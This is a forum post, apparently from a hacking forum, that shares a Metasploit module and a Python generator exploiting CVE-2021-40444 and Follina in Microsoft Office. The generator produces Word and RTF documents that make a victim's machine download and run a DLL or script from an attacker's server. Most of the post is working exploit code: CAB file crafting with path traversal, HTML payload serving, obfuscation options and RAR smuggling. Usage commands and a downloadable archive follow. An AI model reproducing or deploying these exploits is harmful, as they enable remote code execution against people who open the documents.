• XSS.stack #1 – первый литературный журнал от юзеров форума

Local Microsoft Office Word MSHTML Remote Code Execution Exploit / CVE-2021-40444

DarckSol

(L1) cache
Пользователь
Регистрация
17.03.2008
Сообщения
894
Реакции
182
...: Metasploit Modul :...

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::HttpServer::HTML
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word Malicious MSHTML RCE',
        'Description' => %q{
          This module creates a malicious docx file that when opened in Word on a vulnerable Windows
          system will lead to code execution. This vulnerability exists because an attacker can
          craft a malicious ActiveX control to be used by a Microsoft Office document that hosts
          the browser rendering engine.
        },
        'References' => [
          ['CVE', '2021-40444'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],
          ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],
          ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],
          ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],
          ['URL', 'https://github.com/klezVirus/CVE-2021-40444']
        ],
        'Author' => [
          'lockedbyte ', # Vulnerability discovery.
          'klezVirus ', # References and PoC.
          'thesunRider', # Official Metasploit module.
          'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
        ],
        'DisclosureDate' => '2021-09-23',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'FILENAME' => 'msf.docx'
        },
        'Targets' => [
          [
            'Hosted', {}
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
 
    register_options([
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
    register_advanced_options([
      OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),
    ])
  end
 
  def bin_to_hex(bstr)
    return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)
  end
 
  def cab_checksum(data, seed = "\x00\x00\x00\x00")
    checksum = seed
 
    bytes = ''
    data.chars.each_slice(4).map(&:join).each do |dword|
      if dword.length == 4
        checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
      else
        bytes = dword
      end
    end
    checksum = checksum.reverse
 
    case (data.length % 4)
    when 3
      dword = "\x00#{bytes}"
    when 2
      dword = "\x00\x00#{bytes}"
    when 1
      dword = "\x00\x00\x00#{bytes}"
    else
      dword = "\x00\x00\x00\x00"
    end
 
    checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse
  end
 
  # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
  def create_cab(data)
    cab_cfdata = ''
    filename = "../#{File.basename(@my_resources.first)}.inf"
    block_size = 32768
    struct_cffile = 0xd
    struct_cfheader = 0x30
 
    block_counter = 0
    data.chars.each_slice(block_size).map(&:join).each do |block|
      block_counter += 1
 
      seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"
      csum = cab_checksum(block, seed)
 
      vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")
      cab_cfdata << csum                     # uint32 {4} - Checksum
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length
      cab_cfdata << block
    end
 
    cab_size = [
      struct_cfheader +
        struct_cffile +
        filename.length +
        cab_cfdata.length
    ].pack('L<')
 
    # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)
    cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)
    cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)
    cab_header << cab_size # uint32 {4} - Archive Length
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)
 
    cab_header << "\x2C\x00\x00\x00"         # uint32 {4} - Offset to the first CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)
    cab_header << "\x03"                     # byte   {1} - Minor Version (3)
    cab_header << "\x01"                     # byte   {1} - Major Version (1)
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Folders
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Files
    cab_header << "\x00\x00"                 # uint16 {2} - Flags
 
    cab_header << "\xD2\x04"                 # uint16 {2} - Cabinet Set ID Number
    cab_header << "\x00\x00"                 # uint16 {2} - Sequential Number of this Cabinet file in a Set
 
    # CFFOLDER
    cab_header << [                          # uint32 {4} - Offset to the first CFDATA in this Folder
      struct_cfheader +
      struct_cffile +
      filename.length
    ].pack('L<')
    cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder
    cab_header << "\x00\x00"                 # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)
 
    # increase file size to trigger vulnerability
    cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")
      data.length + 1073741824
    ].pack('L<')
 
    # set current date and time in the format of cab file
    date_time = Time.new
    date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')
    time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')
 
    # CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)
    cab_header << "\x00\x00"                 # uint16 {2} - Folder ID (starts at 0)
    cab_header << date                       # uint16 {2} - File Date (\x5A\x53)
    cab_header << time                       # uint16 {2} - File Time (\xC3\x5C)
    cab_header << "\x20\x00"                 # uint16 {2} - File Attributes
    cab_header << filename                   # byte   {X} - Filename (ASCII)
    cab_header << "\x00"                     # byte   {1} - null Filename Terminator
 
    cab_stream = cab_header
 
    # CFDATA
    cab_stream << cab_cfdata
  end
 
  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"
    inf = "#{File.basename(@my_resources.first)}.inf"
 
    file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')
    js_content = ::File.binread(file_path)
 
    js_content.gsub!('REPLACE_INF', inf)
    js_content.gsub!('REPLACE_URI', uri)
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')
 
      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end
 
    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += js_content.to_s
    html += '</script></body></html>'
    html
  end
 
  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }
 
    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end
 
    @docx.fetch(i)[:data]
  end
 
  def get_template_path
    datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')
  end
 
  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end
 
    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end
 
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/document.xml'
        entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")
      end
    end
  end
 
  def normalize_uri(*strs)
    new_str = strs * '/'
 
    new_str = new_str.gsub!('//', '/') while new_str.index('//')
 
    # makes sure there's a starting slash
    unless new_str[0, 1] == '/'
      new_str = '/' + new_str
    end
 
    new_str
  end
 
  def on_request_uri(cli, request)
    header_cab = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'application/octet-stream',
      'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"
    }
 
    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }
 
    if request.method.eql? 'HEAD'
      if request.raw_uri.to_s.end_with? '.cab'
        send_response(cli, '', header_cab)
      else
        send_response(cli, '', header_html)
      end
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''
 
      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')
 
      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.cab'
      print_status('Sending CAB Payload')
 
      send_response(cli, create_cab(@dll_payload), header_cab)
    end
  end
 
  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end
 
    Msf::Util::EXE.to_zip(@docx)
  end
 
  def unpack_docx(template_path)
    document = []
 
    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.match(/\.xml|\.rels$/i)
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end
 
        vprint_status("Parsing item from template: #{entry.name}")
 
        document << { fname: entry.name, data: content }
      end
    end
 
    document
  end
 
  def primer
    print_status('CVE-2021-40444: Generate a malicious docx file')
 
    @proto = (datastore['SSL'] ? 'https' : 'http')
    if datastore['SRVHOST'] == '0.0.0.0'
      datastore['SRVHOST'] = Rex::Socket.source_address
    end
 
    template_path = get_template_path
    unless File.extname(template_path).match(/\.docx$/i)
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end
 
    print_status("Using template '#{template_path}'")
    @docx = unpack_docx(template_path)
 
    print_status('Injecting payload in docx document')
    inject_docx
 
    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)
 
    @dll_payload = Msf::Util::EXE.to_win64pe_dll(
      framework,
      payload.encoded,
      {
        arch: payload.arch.first,
        mixed_mode: true,
        platform: 'win'
      }
    )
  end
end
 

Exploiting Follina CVE and CVE-2021-40444 Vulnerabilities​


Introduction​

This repository contains scripts and resources for exploiting the Follina CVE and CVE-2021-40444 vulnerabilities in Microsoft Office. The scripts generate malicious document files that can execute arbitrary code on the target system.


Prerequisites​

  • Flare VM
  • Python 3.x
  • Microsoft Word
  • Required Python packages (listed in requirements.txt)

Setup and Installation​


  • Flare VM Setup:
    • Ensure you have Flare VM installed. The credentials for the VM are:
      • Username: lab
      • Password: password
  • Python and Virtual Environment:
    Код:
    git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444
    cd CVE-2021-40444


  • Make sure Python and pip are installed in the virtual machine.
  • Install the virtualenv package using the following command:
    Код:
    pip install virtualenv
Create a virtual environment named venv:
Код:
python -m virtualenv venv

Activate the virtual environment:
Код:
venv\Scripts\activate.bat

Install the required packages:
Код:
pip install -r requirements.txt

Usage​


  • Generating the Exploit:
    • Navigate to the project directory and run the following command to generate the exploit:
      Код:
      python generator.py -u http://192.168.197.132 -P test\calc.dll --host
    • Replace 192.168.197.132 with your IP address.
  • Accessing the Generated Document:
    • The generated .docx file will be located in the directory:
      Код:
      C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx

Detailed Explanation​

Chain Exploitation​

  • The document (.docx) is opened.
  • The document contains a relationship pointing to malicious HTML stored in document.xml.rels.
  • The HTML link opens in IE preview.
  • An object points to a CAB file and an iframe pointing to an INF file, both embedded in JScript and prefixed with the ".cpl:" directive.
  • The CAB file opens, saving the INF file in the %TEMP%Low directory.
  • The INF file is opened using the ".cpl:" directive, causing rundll32 to side-load the INF file.

Scripts Overview​

generator.py​

  • Implements an exploit for CVE-2021-40444, allowing remote code execution via Microsoft Office.
  • Contains various helper functions for patching CAB files, creating RAR files, generating payloads, and more.

cab_parser.py​

  • A tool for viewing CAB file headers.
  • Defines classes and methods for handling and parsing CAB files.

Section 2.0: Setup in Flare VM​

  • Install necessary tools and packages.
  • Create and activate a virtual environment.
  • Install Python packages from requirements.txt
Genetrator :

Python:
#!/usr/bin/env python3

# Microsoft Office Remote Code Execution Exploit via Logical Bug
# Result is ability for attackers to execute arbitrary custom DLL's
# downloaded and executed on target system
import argparse
import base64
import binascii
import random
import re
import secrets
import shutil
import string
import struct
import sys
import os
import subprocess
import tempfile
import time
import traceback
from pathlib import Path
import win32com.client

from cab_parser import Cab
from in_place import InPlace


def patch_cab(path: Path, original_inf_path, patched_inf_path):
    with InPlace(str(path.absolute()), mode="b") as out_cab:
        cab = Cab(out_cab.read())
        print("  [*] Setting setID to 1234")
        cab.change_set_id(1234)
        print("  [*] Setting CFFolder.coffCabStart to 80")
        cab.change_coff_cab_start(80)
        print("  [*] Setting CFFolder.CCFData to 2")
        cab.change_ccfdata_count(2)
        size = struct.unpack("<I", b"\x00\x22\x44\x00")[0]
        print(f"  [*] Setting CFFile.CbFile to {size}")
        cab.change_cffile_cbfile(size)
        print("  [*] Making INF file read only")
        cab.make_file_read_only()
        print("  [*] Zeroing out Checksum")
        cab.zero_out_signature()
        out_cab.write(cab.to_bytes())

    with InPlace(str(path.absolute()), mode="b") as out_cab:
        content = out_cab.read()
        content = content.replace(original_inf_path, patched_inf_path)
        print(f"  [*] Patching path '{original_inf_path.decode()}' to '{patched_inf_path.decode()}'")
        out_cab.write(content)


def make_ddf(ddf_file: Path, cab_file: Path, inf_file: Path):
    # We need to generate a DDF file for makecab to work properly
    # CabinetNameTemplate = Basename of the cab file
    # DiskDirectoryTemplate = Directory where the cab file will be
    with open(str(ddf_file.absolute()), "w") as ddf:
        ddf.write(rf""".OPTION EXPLICIT
.Set CabinetNameTemplate={cab_file.name}       
.set DiskDirectoryTemplate={cab_file.parent.name}
.Set CompressionType=MSZIP
.Set UniqueFiles=OFF
.Set Cabinet=ON
.Set Compress=OFF
.Set CabinetFileCountThreshold=0
.Set FolderFileCountThreshold=0
.Set FolderSizeThreshold=0
.Set MaxCabinetSize=0
.Set MaxDiskFileCount=0
.Set MaxDiskSize=0
"{inf_file.absolute()}"
""")


def execute_cmd(cmd, execute_from=None):
    print(cmd)
    try:
        subprocess.check_output(
            cmd,
            shell=True,
            cwd=execute_from
        )
    except subprocess.CalledProcessError as calledProcessError:
        print(calledProcessError)
        exit(1)


def patch_rar(rar_file, script: bytes):
    # JS downloader string
    downloader = bytearray(script)
    # Appending null byte
    # downloader.append(0)
    content = bytearray(open(rar_file, "rb").read())
    content = bytes(downloader + content)
    with open(rar_file, "wb") as rar:
        rar.write(content)


def rar(file: Path, rar_file, delete=False):
    try:
        output = subprocess.check_output(
            f"bin\\rar.exe a -ep \"{rar_file}\" \"{str(file)}\"",
            stderr=subprocess.STDOUT,
            shell=True
        )
        if delete:
            file.unlink(missing_ok=True)
    except subprocess.CalledProcessError:
        print("[-] Error generating RAR archive")
        exit(1)


def make_rar(rar_file):
    file_name = None
    with tempfile.NamedTemporaryFile(
            suffix=".txt",
            delete=False,
            mode="w"
    ) as txt_file:
        txt_file.write("You've been pwnd!")
        file_name = Path(txt_file.name).absolute()

    rar(file_name, rar_file, delete=True)


def choose_template(templates: list):
    try:
        print("[*] Multiple compatible templates identified, choose one:")
        choice = -1
        for n, t in enumerate(templates, start=0):
            print(f"  {n}: {t}")
        while not 0 <= choice <= len(templates) - 1:
            try:
                choice = int(input("  $> "))
            except ValueError:
                continue
        return templates[choice]
    except KeyboardInterrupt:
        print("[-] Aborting")
        sys.exit(1)


def append_garbage(content: str, exploit: str):
    eol = '\n'
    garbage = ""
    filler = "A" * 80000
    if exploit == ".vbs":
        eol = '" _ \n & "'
        garbage = rf"""
Dim Garbage
Garbage = "{eol.join([filler[i:i + 100] for i in range(0, len(filler), 100)])}";
        """
    elif exploit == ".js":
        garbage = f"var x = '';{eol}" + eol.join([f"x = '{filler[i:i + 100]}';" for i in range(0, len(filler), 100)])
    elif exploit in [".wsf", ".hta"]:
        garbage = f"<!--{eol}{filler}{eol}-->{eol}"
    return content + garbage


def get_file_extension_based_uri(exploit, no_cab=False):
    if exploit == ".dll":
        return ".cpl"
    elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"] and no_cab:
        return exploit
    elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"]:
        return ".wsf"
    else:
        return "ms-msdt"


def get_mime_type(exploit):
    if exploit == ".dll":
        return "application/octet-stream"
    elif exploit == ".hta":
        return "application/hta"
    elif exploit == ".js":
        return "text/javascript"
    elif exploit == ".vbs":
        return "text/vbscript"
    elif exploit == ".wsh":
        return "text/plain"
    elif exploit == ".wsf":
        return "text/xml"
    else:
        return "text/plain"


def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False, convert=False):
    # Current Working Directory
    working_directory = Path(__file__).parent

    # Relevant directories for Execution
    data_path = working_directory.joinpath("data")
    word_dat_path = data_path.joinpath("word_dat")
    srv_path = working_directory.joinpath("srv")
    out_path = working_directory.joinpath("out")
    cab_path = working_directory.joinpath("cab")
    template_path = working_directory.joinpath("template")

    # Relevant files
    tmp_path = data_path.joinpath("tmp_doc")
    word_dll = data_path.joinpath(f'{basename}.dll')
    word_doc = out_path.joinpath('document.docx')
    ddf = data_path.joinpath('mswordcab.ddf')
    archive_file = out_path.joinpath(f"{basename}.cab")
    rar_file = out_path.joinpath(f"{basename}.rar")
    exploit_file = cab_path.joinpath(f"{basename}.inf")

    exploit = os.path.splitext(args.payload)[1]

    if no_cab and exploit not in [".wsf", ".ps1"]:
        print("[-] CAB-less version chosen, only .wsf and .ps1 are currently working")
        exit(1)

    lolbin = exploit not in [".dll", ".ps1"]

    if exploit == ".wsf" and no_cab:
        id = "cabless-rar-"
    elif exploit == ".ps1" and no_cab:
        id = "cabless-msdt-"
    elif lolbin and no_cab:
        id = "cabless-smuggling-"
    elif lolbin:
        id = "cab-uri-"
    else:
        id = "cab-orig-"

    script_file = None
    templates = [
        f for f in os.listdir(str(template_path))
        if os.path.isfile(os.path.join(str(template_path), f))
           and f.find(id) > -1
    ]
    html_template_file = template_path.joinpath(choose_template(templates))
    html_final_file = srv_path.joinpath(f"{basename}.html")

    # Checking ephemeral directories
    tmp_path.mkdir(exist_ok=True)
    cab_path.mkdir(exist_ok=True)
    srv_path.mkdir(exist_ok=True)
    out_path.mkdir(exist_ok=True)

    print(f'  [>] Payload: {payload}')
    print(f'  [>] HTML/CAB/JS Hosting Server: {server_url}')

    b64_payload = None
    payload_content = None
    try:
        if exploit != ".dll" and no_cab:
            payload_content = open(payload, 'r').read().strip().encode()
        elif exploit != ".dll":
            payload_content = "\x5a\x4d" + open(payload, 'r').read().strip()
            payload_content = append_garbage(payload_content, exploit)
            payload_content = payload_content.encode()
        else:
            payload_content = open(payload, 'rb').read()
        with open(str(word_dll), 'wb') as filep:
            filep.write(payload_content)
        b64_payload = base64.b64encode(payload_content).decode()
    except FileNotFoundError:
        print('[-] Payload specified not found!')
        exit(1)
    except Exception as e:
        print(f"[-] Exception: {e}")
        exit(1)

    if lolbin and no_cab:
        tmp = Path(exploit_file.parent).joinpath(basename + get_file_extension_based_uri(exploit))
        exploit_file.unlink(missing_ok=True)
        exploit_file = Path(tmp)
        with open(str(exploit_file), "w") as out:
            out.write(payload_content.decode())
        print(f"[*] Exposing script file {exploit_file.name} to the webserver for download")
        shutil.copy(str(exploit_file), str(srv_path))

    shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True)
    print('[*] Crafting Relationships to point to HTML/CAB/JS Hosting Server...')
    with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels:
        xml_content = rels.read()
        if exploit != ".ps1":
            xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}')
        else:
            xml_content = xml_content.replace('mhtml:<EXPLOIT_HOST_HERE>!x-usc:<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}!')
        # xml_content = xml_content.replace('<INF_CHANGE_HERE>', inf_file.name)
        rels.write(xml_content)

    print('[*] Packing MS Word .docx file...')
    word_doc.unlink(missing_ok=True)
    shutil.make_archive(str(word_doc), 'zip', str(tmp_path))
    shutil.move(str(word_doc) + ".zip", str(word_doc))
    shutil.rmtree(str(tmp_path))

    if not no_cab:
        print('[*] Generating CAB file...')
        make_ddf(ddf_file=ddf, cab_file=archive_file, inf_file=exploit_file)
        shutil.move(word_dll, exploit_file)

        execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory))
        patched_path = f'../{exploit_file.name}'.encode()
        patch_cab(archive_file, str(exploit_file.name).encode(), patched_path)
        shutil.copy(archive_file, srv_path)
        shutil.copy(ddf, srv_path)

    word_dll.unlink(missing_ok=True)
    exploit_file.unlink(missing_ok=True)
    ddf.unlink(missing_ok=True)
    shutil.rmtree(str(cab_path.absolute()))

    print('[*] Updating information on HTML exploit...')
    shutil.copy(str(html_template_file), str(html_final_file))

    print('[*] Copying MS Word .docx to Desktop for local testing...')
    dest = Path(os.getenv("USERPROFILE")).joinpath("Desktop").joinpath(word_doc.name)
    dest.unlink(missing_ok=True)
    shutil.copy(str(word_doc.absolute()), dest)

    if copy_to and os.path.isdir(copy_to) and not no_cab:
        print(f'[*] Copying malicious cab to {copy_to} for analysis...')
        dest = Path(copy_to).joinpath(archive_file.name)
        dest.unlink(missing_ok=True)
        shutil.copy(str(archive_file.absolute()), dest)
        print(f'  [>] CAB file stored at: {archive_file}')

    with InPlace(str(html_final_file)) as p_exp:
        content = p_exp.read()
        content = content.replace('<HOST_CHANGE_HERE>', f"{server_url}/{archive_file.name}")
        content = content.replace('<INF_CHANGE_HERE>', f"{exploit_file.name}")
        content = content.replace('<RAR_CHANGE_HERE>', f"{rar_file.name}")
        content = content.replace('<URI_SCHEME_HERE>', get_file_extension_based_uri(exploit))
        content = content.replace('<BASE64_DATA_HERE>', b64_payload)
        content = content.replace('<PAYLOAD_HERE>', payload_content.decode()) if exploit != ".dll" else ""
        content = content.replace('<MIME_TYPE_HERE>', get_mime_type(exploit))
        content = content.replace('<FIRST_LETTER>', get_file_extension_based_uri(exploit)[1])
        content = content.replace('<SECOND_LETTER>', get_file_extension_based_uri(exploit)[2])
        content = content.replace('<THIRD_LETTER>', get_file_extension_based_uri(exploit)[3])
        p_exp.write(content)

    print(f'[+] Success! MS Word Document stored at: {word_doc}')

    if convert:
        if convert_to_rtf(word_doc):
            print(f'[+] Success! MS Word Document was converted to RTF!')
        else:
            print(f'[-] ERROR. MS Word Document could not be converted to RTF.')

    if exploit == ".wsf" and no_cab:
        print(f"[*] Generating RAR file {rar_file.name}... and pushing it to 'Downloads', to emulate user download")
        rar_dest = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath(rar_file.name)
        wsf_file = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath("test.wsf")
        rar(word_doc, rar_dest, delete=False)
        patch_rar(rar_file=rar_dest, script=payload_content)
        shutil.copy(str(rar_dest), str(srv_path))
        shutil.copy(str(rar_dest), str(wsf_file))

    return html_final_file.name


def start_server(ip, port, directory: Path):
    this = Path(__file__).parent.joinpath("util").joinpath("server.py")
    subprocess.Popen(
        f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" {ip} {port}',
        shell=True,
        close_fds=True,
        stderr=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        creationflags=subprocess.DETACHED_PROCESS
    )


def start_client(url):
    subprocess.Popen(
        f'"C:\\Program Files\\Internet Explorer\\iexplore.exe" "{url}"',
        shell=True,
        close_fds=True,
        stderr=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        creationflags=subprocess.DETACHED_PROCESS
    )


def clean():
    pass


def convert_to_rtf(filename):
    new_file = os.path.splitext(filename)[0] + ".rtf"
    try:
        word = win32com.client.Dispatch("Word.application")
        word.Visible = False
        wordDoc = word.Documents.Open(str(Path(filename).absolute()))
        # wdFormatRTF = 6
        wordDoc.SaveAs2(str(Path(new_file).absolute()), FileFormat=6)
        wordDoc.Close()
        return True
    except:
        traceback.print_exc()
        return False


def validate_filename(filename):
    # Required length for the file name
    required_length = 12
    if not filename:
        filename = ""
    current_length = len(filename)
    if current_length > 12:
        filename = filename[:12]
    gap = required_length - current_length
    return filename + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(gap))


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]')
    parser.add_argument('-P', '--payload', type=str, required=True,
                        help="DLL payload to use for the exploit")
    parser.add_argument('-u', '--url', type=str, default=None, required=True,
                        help="Server URL for malicious references (CAB->INF)")
    parser.add_argument('-o', '--output', type=str, default=None, required=False,
                        help="Output files basename (no extension)")
    parser.add_argument('--host', action='store_true', default=False, required=False,
                        help="If set, will host the payload after creation")
    parser.add_argument('-c', '--copy-to', type=str, default=None, required=False,
                        help="Copy payload to an alternate path")
    parser.add_argument('-nc', '--no-cab', action='store_true', default=False, required=False,
                        help="Use the CAB-less version of the exploit")
    parser.add_argument('-t', '--test', action='store_true', default=False, required=False,
                        help="Open IExplorer to test the final HTML file")
    parser.add_argument('-x', '--convert', action='store_true', default=False, required=False,
                        help="Convert DOCX into RTF format")

    args = parser.parse_args()

    filename = validate_filename(args.output)

    print('[*] Generating a malicious payload...')
    html = None
    server = args.url

    port = 80
    ip = "192.168.197.132"
    scheme = ""
    try:
        scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1].split(":")[0]
        if scheme == "http":
            port = 80
        elif scheme == "https":
            port = 443
        else:
            raise NotImplemented(f"Scheme {scheme} is not supported")
        if len(server.split(":")) > 2:
            port = int(server.split(":")[2].split("/")[0])
    except NotImplemented as e:
        print(f"[-] {e}")
        exit(1)
    except (ValueError, KeyError, IndexError):
        print("[-] Wrong URL format")
        exit(1)

    try:
        html = generate_payload(payload=args.payload, server_url=server, basename=filename, copy_to=args.copy_to,
                                no_cab=args.no_cab, convert=args.convert)
    except (SystemExit, KeyboardInterrupt):
        exit(1)
    except:
        traceback.print_exc()
        exit(1)
    if args.host and html:
        print(f'[*] Hosting HTML Exploit at {scheme}://{ip}:{port}/{html}...')
        start_server(ip=ip, port=port, directory=Path(__file__).parent.joinpath("srv"))
    if args.test:
        if os.path.splitext(args.payload)[1] != ".wsf":
            print(f"[-] IE testing might not compatible with {os.path.splitext(args.payload)[1]}")
        print(f'[*] Opening IE at {args.url}/{html}...')
        time.sleep(3)
        start_client(f"{args.url}/{html}")

Commands​


  • Generate the original exploit and test locally:
    Код:
    python generator.py -u http://127.0.0.1 -P test\calc.dll --host
Generate CABless exploit leveraging MS-MSDT (Follina attack), in both DOCX and RTF docs:
Код:
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert

Generate CABless exploit (IE-only) with HTML smuggling and test locally via IE:
Код:
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t

Generate CABless exploit with RAR and test locally via IE:
Код:
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t


Source Github : https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444
 

Вложения

  • Follina-CVE-and-CVE-2021-40444-main.zip
    1 МБ · Просмотры: 4


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх